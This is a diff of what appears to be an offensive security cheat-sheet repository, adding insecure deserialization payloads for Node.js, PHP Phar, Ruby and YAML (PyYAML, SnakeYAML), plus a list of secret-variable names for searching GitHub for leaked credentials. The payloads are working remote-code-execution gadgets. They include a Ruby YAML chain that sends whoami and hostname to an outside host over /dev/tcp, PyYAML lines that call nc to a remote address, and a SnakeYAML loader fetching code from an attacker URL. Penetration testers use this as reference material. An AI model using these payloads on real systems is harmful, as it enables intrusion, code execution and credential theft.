Injection/README.md @@ -33,6 +33,7 @@ * [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql) * [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/) * [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/) +* [CrackQL - A GraphQL password brute-force and fuzzing utility.](https://github.com/nicholasaleks/CrackQL) ## Exploit diff --git a/Insecure Deserialization/Files/PHP-Serialization-RCE-Exploit.php b/Insecure Deserialization/Files/PHP-Serialization-RCE-Exploit.php deleted file mode 100644 index 8ae88db..0000000 --- a/Insecure Deserialization/Files/PHP-Serialization-RCE-Exploit.php +++ /dev/null @@ -1,32 +0,0 @@ - diff --git a/Insecure Deserialization/Files/node-serialize.js b/Insecure Deserialization/Files/node-serialize.js new file mode 100644 index 0000000..a22304c --- /dev/null +++ b/Insecure Deserialization/Files/node-serialize.js @@ -0,0 +1,5 @@ +var y = { + rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}, +} +var serialize = require('node-serialize'); +console.log("Serialized: \n" + serialize.serialize(y)); \ No newline at end of file diff --git a/Insecure Deserialization/Files/ruby-serialize.yaml b/Insecure Deserialization/Files/ruby-serialize.yaml new file mode 100644 index 0000000..45da864 --- /dev/null +++ b/Insecure Deserialization/Files/ruby-serialize.yaml @@ -0,0 +1,19 @@ +--- +- !ruby/object:Gem::Installer + i: x +- !ruby/object:Gem::SpecFetcher + i: y +- !ruby/object:Gem::Requirement + requirements: + !ruby/object:Gem::Package::TarReader + io: &1 !ruby/object:Net::BufferedIO + io: &1 !ruby/object:Gem::Package::TarReader::Entry + read: 0 + header: "abc" + debug_output: &1 !ruby/object:Net::WriteAdapter + socket: &1 !ruby/object:Gem::RequestSet + sets: !ruby/object:Net::WriteAdapter + socket: !ruby/module 'Kernel' + method_id: :system + git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'" + method_id: :resolve \ No newline at end of file diff --git a/Insecure Deserialization/Java.md b/Insecure Deserialization/Java.md index 7b45d3a..a40b19a 100644 --- a/Insecure Deserialization/Java.md +++ b/Insecure Deserialization/Java.md @@ -2,14 +2,16 @@ ## Detection -- "AC ED 00 05" in Hex -- "rO0" in Base64 +- `"AC ED 00 05"` in Hex + * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol. + * `00 05`: STREAM_VERSION. The serialization version. +- `"rO0"` in Base64 - Content-type = "application/x-java-serialized-object" -- "H4sIAAAAAAAAAJ" in gzip(base64) +- `"H4sIAAAAAAAAAJ"` in gzip(base64) ## Exploit -[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. +[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ```java java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin @@ -18,37 +20,44 @@ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > pay java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64 ``` -payload | author | dependencies | impact (if not RCE) -------|--------|------ |------ -BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5 -C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11 -Clojure |@JackOfMostTrades |clojure:1.8.0 -CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 -CommonsCollections1 |@frohoff |commons-collections:3.1 -CommonsCollections2 |@frohoff |commons-collections4:4.0 -CommonsCollections3 |@frohoff |commons-collections:3.1 -CommonsCollections4 |@frohoff |commons-collections4:4.0 -CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1 -CommonsCollections6 |@matthias_kaiser |commons-collections:3.1 -FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading -Groovy1 |@frohoff |groovy:2.3.9 -Hibernate1 |@mbechler| -Hibernate2 |@mbechler| -JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 -JRMPClient |@mbechler| -JRMPListener |@mbechler| -JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 -JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 -Jdk7u21 |@frohoff| -Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2 -MozillaRhino1 |@matthias_kaiser |js:1.7R2 -Myfaces1 |@mbechler| -Myfaces2 |@mbechler| -ROME |@mbechler |rome:1.0 -Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE -Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 -URLDNS |@gebl| | jre only vuln detect -Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4 +```ps1 +Payload Authors Dependencies +------- ------- ------------ +AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 +BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 +C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 +Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 +Clojure @JackOfMostTrades clojure:1.8.0 +CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 +CommonsCollections1 @frohoff commons-collections:3.1 +CommonsCollections2 @frohoff commons-collections4:4.0 +CommonsCollections3 @frohoff commons-collections:3.1 +CommonsCollections4 @frohoff commons-collections4:4.0 +CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 +CommonsCollections6 @matthias_kaiser commons-collections:3.1 +CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 +FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 +Groovy1 @frohoff groovy:2.3.9 +Hibernate1 @mbechler +Hibernate2 @mbechler +JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 +JRMPClient @mbechler +JRMPListener @mbechler +JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 +JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 +Jdk7u21 @frohoff +Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 +MozillaRhino1 @matthias_kaiser js:1.7R2 +MozillaRhino2 @_tint0 js:1.7R2 +Myfaces1 @mbechler +Myfaces2 @mbechler +ROME @mbechler rome:1.0 +Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE +Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 +URLDNS @gebl +Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 +Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 +``` ## Burp extensions using ysoserial @@ -67,7 +76,8 @@ Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api: - [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution ```java -java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []] +$ java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []] +$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389 where -a - generates/tests all payloads for that marshaller @@ -99,10 +109,12 @@ Payload generators for the following marshallers are included:
## References - [Github - ysoserial](https://github.com/frohoff/ysoserial) +- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) +- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau | Mar 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) - [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) - [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) - [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) - [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) - [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) -- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464) \ No newline at end of file +- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464) diff --git a/Insecure Deserialization/Node.md b/Insecure Deserialization/Node.md new file mode 100644 index 0000000..8a9147a --- /dev/null +++ b/Insecure Deserialization/Node.md @@ -0,0 +1,34 @@ +# Node + +## Summary + +* [Exploit](#exploit) +* [References](#references) + +## Exploit + +> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE). + +1. Generate a serialized payload + ```js + var y = { + rce : function(){ + require('child_process').exec('ls /', function(error, + stdout, stderr) { console.log(stdout) }); + }, + } + var serialize = require('node-serialize'); + console.log("Serialized: \n" + serialize.serialize(y)); + ``` +2. Add bracket `()` to force the execution + ```js + {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"} + ``` +3. Send the payload + + +## References + +* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf) +* [NodeJS Deserialization - 8 January 2020- gonczor](https://blacksheephacks.pl/nodejs-deserialization/) +* [CVE-2017-5941 - NATIONAL VULNERABILITY DATABASE - 02/09/2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941) \ No newline at end of file diff --git a/Insecure Deserialization/PHP.md b/Insecure Deserialization/PHP.md index 06d466f..2a46efb 100644 --- a/Insecure Deserialization/PHP.md +++ b/Insecure Deserialization/PHP.md @@ -119,7 +119,7 @@ a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;} ## Finding and using gadgets -Also called "PHP POP Chains", they can be used to gain RCE on the system. +Also called `"PHP POP Chains"`, they can be used to gain RCE on the system. [PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks: @@ -133,6 +133,7 @@ Also called "PHP POP Chains", they can be used to gain RCE on the system. ```powershell phpggc monolog/rce1 'phpinfo();' -s +phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini ``` ## PHP Phar Deserialization @@ -141,42 +142,68 @@ Using `phar://` wrapper, one can trigger a deserialization on the specified file A valid PHAR includes four elements: -1. Stub -2. Manifest -3. File Contents -4. Signature +1. **Stub**: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain `__HALT_COMPILER();` at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub. +2. **Manifest**: Contains metadata about the archive and its contents. +3. **File Contents**: Contains the actual files in the archive. +4. **Signature**(optional): For verifying archive integrity. -Example of a Phar creation in order to exploit a custom `PDFGenerator`. -```php -callback = "passthru"; -$dummy->fileName = "uname -a > pwned"; //our payload + //Create a new instance of the Dummy class and modify its property + $dummy = new PDFGenerator(); + $dummy->callback = "passthru"; + $dummy->fileName = "uname -a > pwned"; //our payload -// Delete any existing PHAR archive with that name -@unlink("poc.phar"); + // Delete any existing PHAR archive with that name + @unlink("poc.phar"); -// Create a new archive -$poc = new Phar("poc.phar"); + // Create a new archive + $poc = new Phar("poc.phar"); -// Add all write operations to a buffer, without modifying the archive on disk -$poc->startBuffering(); + // Add all write operations to a buffer, without modifying the archive on disk + $poc->startBuffering(); -// Set the stub -$poc->setStub("setStub("setMetadata($dummy); -// Stop buffering and write changes to disk -$poc->stopBuffering(); -?> -``` + /* Add a new file in the archive with "text" as its content*/ + $poc["file"] = "text"; + // Add the dummy object to the metadata. This will be serialized + $poc->setMetadata($dummy); + // Stop buffering and write changes to disk + $poc->stopBuffering(); + ?> + ``` + +* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub. + ```php + data = $data; + } + + function __destruct() { + system($this->data); + } + } + + // create new Phar + $phar = new Phar('test.phar'); + $phar->startBuffering(); + $phar->addFromString('test.txt', 'text'); + $phar->setStub("\xff\xd8\xff\n"); + + // add object of any class as meta data + $object = new AnyClass('whoami'); + $phar->setMetadata($object); + $phar->stopBuffering(); + ``` ## Real world examples @@ -200,3 +227,4 @@ $poc->stopBuffering(); * [Rusty Joomla RCE Unserialize overflow](https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41) * [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/) * [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/) +* [phar:// deserialization - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization) \ No newline at end of file diff --git a/Insecure Deserialization/README.md b/Insecure Deserialization/README.md index 14df571..a62322f 100644 --- a/Insecure Deserialization/README.md +++ b/Insecure Deserialization/README.md @@ -8,6 +8,11 @@ Check the following sub-sections, located in other files : * [PHP (Object injection) : phpggc, ...](PHP.md) * [Ruby : universal rce gadget, ...](Ruby.md) * [Python : pickle, ...](Python.md) +* [YAML : PyYAML, ...](YAML.md) + +## LABS + +* [Insecure Deserialization 10 labs](https://portswigger.net/web-security/all-labs#insecure-deserialization) ## References diff --git a/Insecure Deserialization/Ruby.md b/Insecure Deserialization/Ruby.md index 6263526..c3f2fa6 100644 --- a/Insecure Deserialization/Ruby.md +++ b/Insecure Deserialization/Ruby.md @@ -16,7 +16,7 @@ require "yaml" YAML.load(File.read("p.yml")) ``` -Exploitation code +Universal gadget for ruby <= 2.7.2: ```ruby --- !ruby/object:Gem::Requirement requirements: @@ -29,9 +29,35 @@ requirements: spec: ``` +Universal gadget for ruby 2.x - 3.x. + +```ruby +--- +- !ruby/object:Gem::Installer + i: x +- !ruby/object:Gem::SpecFetcher + i: y +- !ruby/object:Gem::Requirement + requirements: + !ruby/object:Gem::Package::TarReader + io: &1 !ruby/object:Net::BufferedIO + io: &1 !ruby/object:Gem::Package::TarReader::Entry + read: 0 + header: "abc" + debug_output: &1 !ruby/object:Net::WriteAdapter + socket: &1 !ruby/object:Gem::RequestSet + sets: !ruby/object:Net::WriteAdapter + socket: !ruby/module 'Kernel' + method_id: :system + git_set: id + method_id: :resolve +``` + ## References - [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) - [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) -- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) \ No newline at end of file +- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) +- [Universal RCE with Ruby YAML.load (versions > 2.7) - @_staaldraad](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/) +* [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/) \ No newline at end of file diff --git a/Insecure Deserialization/YAML.md b/Insecure Deserialization/YAML.md new file mode 100644 index 0000000..d931178 --- /dev/null +++ b/Insecure Deserialization/YAML.md @@ -0,0 +1,99 @@ +# YAML Deserialization + +## Summary + +* [Tools](#tools) +* [Exploit](#exploit) + * [PyYAML](#pyyaml) + * [ruamel.yaml](#ruamelyaml) + * [Ruby](#ruby) + * [SnakeYAML](#snakeyaml) +* [References](#references) + +## Tools + +* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) +* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads +* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) + +## Exploit + +### PyYAML + +```yaml +!!python/object/apply:time.sleep [10] +!!python/object/apply:builtins.range [1, 10, 1] +!!python/object/apply:os.system ["nc 10.10.10.10 4242"] +!!python/object/apply:os.popen ["nc 10.10.10.10 4242"] +!!python/object/new:subprocess [["ls","-ail"]] +!!python/object/new:subprocess.check_output [["ls","-ail"]] +``` + +```yaml +!!python/object/apply:subprocess.Popen +- ls +``` + +```yaml +!!python/object/new:str +state: !!python/tuple +- 'print(getattr(open("flag\x2etxt"), "read")())' +- !!python/object/new:Warning + state: + update: !!python/name:exec +``` + +Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution. +[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420) + +The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)``` + +``` +with open('exploit_unsafeloader.yml') as file: + data = yaml.load(file,Loader=yaml.UnsafeLoader) +``` + +## Ruamel.yaml + +## Ruby + +```ruby + --- + - !ruby/object:Gem::Installer + i: x + - !ruby/object:Gem::SpecFetcher + i: y + - !ruby/object:Gem::Requirement + requirements: + !ruby/object:Gem::Package::TarReader + io: &1 !ruby/object:Net::BufferedIO + io: &1 !ruby/object:Gem::Package::TarReader::Entry + read: 0 + header: "abc" + debug_output: &1 !ruby/object:Net::WriteAdapter + socket: &1 !ruby/object:Gem::RequestSet + sets: !ruby/object:Net::WriteAdapter + socket: !ruby/module 'Kernel' + method_id: :system + git_set: sleep 600 + method_id: :resolve +``` + +## SnakeYAML + +```yaml +!!javax.script.ScriptEngineManager [ + !!java.net.URLClassLoader [[ + !!java.net.URL ["http://attacker-ip/"] + ]] +] +``` + + +## References + +* [Python Yaml Deserialization - hacktricks.xyz][https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization] +* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13][https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf] +* [PyYAML Documentation](https://pyyaml.org/wiki/PyYAMLDocumentation) +* [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/) +* [[CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/) diff --git a/Insecure Direct Object References/README.md b/Insecure Direct Object References/README.md index 6b4dba2..6f240a8 100644 --- a/Insecure Direct Object References/README.md +++ b/Insecure Direct Object References/README.md @@ -48,6 +48,10 @@ http://foo.bar/accessPage?menuitem=12 * [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789) * [HackerOne - IDOR on HackerOne Feedback Review - japz](https://hackerone.com/reports/262661) +## Labs + +* [Insecure direct object references](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references) + ## References * [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)) diff --git a/Insecure Source Code Management/Files/github-dorks.txt b/Insecure Source Code Management/Files/github-dorks.txt new file mode 100644 index 0000000..60a7730 --- /dev/null +++ b/Insecure Source Code Management/Files/github-dorks.txt @@ -0,0 +1,1401 @@ +GITHUB_TOKEN= +PATH= +CODECLIMATE_REPO_TOKEN= +DOCKER_PASSWORD= +NPM_TOKEN= +GH_TOKEN= +encrypted_02ddd67d5586_iv= +encrypted_517c5824cb79_key= +encrypted_02ddd67d5586_key= +encrypted_517c5824cb79_iv= +encrypted_1366e420413c_key= +encrypted_1366e420413c_iv= +DOCKER_USERNAME= +ARTIFACTS_SECRET= +ARTIFACTS_KEY= +SURGE_TOKEN= +SURGE_LOGIN= +ARTIFACTS_BUCKET= +SAUCE_ACCESS_KEY= +SAUCE_USERNAME= +DB_USER= +DB_PORT= +DB_HOST= +DBP= +javascriptEnabled= +acceptSslCerts= +AWS_ACCESS_KEY_ID= +AWS_SECRET_ACCESS_KEY= +DOCKER_EMAIL= +GH_USER_EMAIL= +GH_USER_NAME= +CLOUDINARY_URL= +COVERALLS_REPO_TOKEN= +CF_PASSWORD= +CF_SPACE= +CF_USERNAME= +CF_ORGANIZATION= +WPT_REPORT_API_KEY= +USABILLA_ID= +encrypted_17b59ce72ad7_key= +encrypted_17b59ce72ad7_iv= +NGROK_TOKEN= +rotatable= +CLOUDINARY_URL_STAGING= +encrypted_2c8d10c8cc1d_key= +encrypted_2c8d10c8cc1d_iv= +SRCCLR_API_TOKEN= +NPM_AUTH_TOKEN= +takesScreenshot= +GH_UNSTABLE_OAUTH_CLIENT_SECRET= +GH_OAUTH_CLIENT_SECRET= +GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET= +GH_UNSTABLE_OAUTH_CLIENT_ID= +GH_OAUTH_CLIENT_ID= +GH_NEXT_OAUTH_CLIENT_ID= +GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID= +GH_NEXT_OAUTH_CLIENT_SECRET= +marionette= +NPM_CONFIG_AUDIT= +FTP_PW= +FTP_LOGIN= +NPM_CONFIG_STRICT_SSL= +--ignore-ssl-errors= +TRAVIS_SECURE_ENV_VARS= +FOSSA_API_KEY= +VIP_GITHUB_DEPLOY_KEY= +SIGNING_KEY_SID= +SIGNING_KEY_SECRET= +ACCOUNT_SID= +API_KEY_SID= +API_KEY_SECRET= +CI_DEPLOY_PASSWORD= +CONFIGURATION_PROFILE_SID_SFU= +CONFIGURATION_PROFILE_SID_P2P= +ANACONDA_TOKEN= +CC_TEST_REPORTER_ID= +OS_TENANT_NAME= +OS_TENANT_ID= +OS_PROJECT_NAME= +OS_AUTH_URL= +OS_USERNAME= +OS_PASSWORD= +OS_REGION_NAME= +node_pre_gyp_secretAccessKey= +node_pre_gyp_accessKeyId= +encrypted_a2e547bcd39e_key= +encrypted_a2e547bcd39e_iv= +encrypted_17cf396fcb4f_key= +encrypted_17cf396fcb4f_iv= +datadog_api_key= +accessibilityChecks= +acceptInsecureCerts= +CI_DEPLOY_USERNAME= +cssSelectorsEnabled= +SONATYPE_PASSWORD= +tester_keys_password= +GITHUB_OAUTH_TOKEN= +webStorageEnabled= +locationContextEnabled= +nativeEvents= +handlesAlerts= +databaseEnabled= +browserConnectionEnabled= +applicationCacheEnabled= +hasTouchScreen= +takesHeapSnapshot= +networkConnectionEnabled= +mobileEmulationEnabled= +scope= +ALGOLIA_API_KEY= +encrypted_e05f6ccc270e_key= +encrypted_e05f6ccc270e_iv= +DANGER_GITHUB_API_TOKEN= +PYPI_PASSWORD= +VIP_GITHUB_BUILD_REPO_DEPLOY_KEY= +SSMTP_CONFIG= +COVERITY_SCAN_TOKEN= +CODECOV_TOKEN= +SIGNING_KEY= +GPG_ENCRYPTION= +NEW_RELIC_BETA_TOKEN= +ALGOLIA_APPLICATION_ID= +PACKAGECLOUD_TOKEN= +takesElementScreenshot= +raisesAccessibilityExceptions= +DOCKER_USER= +datadog_app_key= +encrypted_cb02be967bc8_key= +encrypted_cb02be967bc8_iv= +MAPBOX_ACCESS_TOKEN= +GITHUB_DEPLOYMENT_TOKEN= +ROPSTEN_PRIVATE_KEY= +RINKEBY_PRIVATE_KEY= +KOVAN_PRIVATE_KEY= +bintrayUser= +sonatypeUsername= +sonatypePassword= +bintrayKey= +SECRET_1= +SECRET_0= +SECRET_9= +SECRET_8= +SECRET_7= +SECRET_6= +SECRET_5= +SECRET_4= +SECRET_3= +SECRET_2= +SECRET_11= +SECRET_10= +TRAVIS_COM_TOKEN= +AWS_DEFAULT_REGION= +GITHUB_ACCESS_TOKEN= +PYPI_USERNAME= +BINTRAY_APIKEY= +BUNDLE_ZDREPO__JFROG__IO= +COCOAPODS_TRUNK_TOKEN= +OCTEST_SERVER_BASE_URL= +OCTEST_APP_USERNAME= +OCTEST_APP_PASSWORD= +OKTA_CLIENT_TOKEN= +HEROKU_API_KEY= +DATABASE_PASSWORD= +encrypted_0d22c88004c9_key= +encrypted_0d22c88004c9_iv= +BUNDLESIZE_GITHUB_TOKEN= +IOS_DOCS_DEPLOY_TOKEN= +COVERALLS_TOKEN= +CLOUDINARY_URL_EU= +HEROKU_API_USER= +OKTA_CLIENT_ORGURL= +VIRUSTOTAL_APIKEY= +PUSHOVER_USER= +PUSHOVER_TOKEN= +HB_CODESIGN_KEY_PASS= +HB_CODESIGN_GPG_PASS= +isbooleanGood= +BROWSER_STACK_USERNAME= +BROWSER_STACK_ACCESS_KEY= +SNYK_TOKEN= +rTwPXE9XlKoTn9FTWnAqF3MuWaLslDcDKYEh7OaYJjF01piu6g4Nc= +lr7mO294= +NtkUXxwH10BDMF7FMVlQ4zdHQvyZ0= +AURORA_STRING_URL= +TREX_OKTA_CLIENT_TOKEN= +TREX_OKTA_CLIENT_ORGURL= +GPG_PASSPHRASE= +encrypted_5d419efedfca_key= +encrypted_5d419efedfca_iv= +ACCESS_KEY_SECRET= +ACCESS_KEY_ID= +props.disabled= +ALGOLIA_API_KEY_MCM= +BINTRAY_API_KEY= +DOCKER_PASS= +TRIGGER_API_COVERAGE_REPORTER= +FIREBASE_TOKEN= +OSSRH_USERNAME= +7QHkRyCbP98Yv2FTXrJFcx9isA2viFx2UxzTsvXcAKHbCSAw= +dockerhubUsername= +dockerhubPassword= +SECRET_KEY_BASE= +repoToken= +encrypted_28c9974aabb6_key= +encrypted_28c9974aabb6_iv= +SONATYPE_USERNAME= +NGROK_AUTH_TOKEN= +FI2_SIGNING_SEED= +FI2_RECEIVING_SEED= +FI1_SIGNING_SEED= +FI1_RECEIVING_SEED= +CONTENTFUL_ORGANIZATION= +CONTENTFUL_ACCESS_TOKEN= +ANSIBLE_VAULT_PASSWORD= +FIREBASE_PROJECT= +ALGOLIA_SEARCH_API_KEY= +BINTRAY_USER= +encrypted_fb9a491fd14b_key= +encrypted_fb9a491fd14b_iv= +CODACY_PROJECT_TOKEN= +MANAGEMENT_TOKEN= +CONFIGURATION_PROFILE_SID= +NOW_TOKEN= +encrypted_90a9ca14a0f9_key= +encrypted_90a9ca14a0f9_iv= +IJ_REPO_USERNAME= +IJ_REPO_PASSWORD= +GITHUB_KEY= +pLytpSCciF6t9NqqGZYbBomXJLaG84= +encrypted_8a915ebdd931_key= +encrypted_8a915ebdd931_iv= +encrypted_0fb9444d0374_key= +encrypted_0fb9444d0374_iv= +encrypted_b98964ef663e_key= +encrypted_b98964ef663e_iv= +encrypted_50ea30db3e15_key= +encrypted_50ea30db3e15_iv= +SONAR_TOKEN= +API_KEY= +encrypted_a47108099c00_key= +encrypted_a47108099c00_iv= +OSSRH_SECRET= +GH_API_KEY= +PROJECT_CONFIG= +encrypted_f19708b15817_key= +encrypted_f19708b15817_iv= +encrypted_568b95f14ac3_key= +encrypted_568b95f14ac3_iv= +encrypted_4664aa7e5e58_key= +encrypted_4664aa7e5e58_iv= +ORG_GRADLE_PROJECT_SONATYPE_NEXUS_USERNAME= +ORG_GRADLE_PROJECT_SONATYPE_NEXUS_PASSWORD= +encrypted_54c63c7beddf_key= +encrypted_54c63c7beddf_iv= +CONTENTFUL_INTEGRATION_SOURCE_SPACE= +CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN= +BLUEMIX_API_KEY= +UzhH1VoXksrNQkFfc78sGxD0VzLygdDJ7RmkZPeBiHfX1yilToi1yrlRzRDLo46LvSEEiawhTa1i9W3UGr3p4LNxOxJr9tR9AjUuIlP21VEooikAhRf35qK0= +ALGOLIA_APP_ID_MCM= 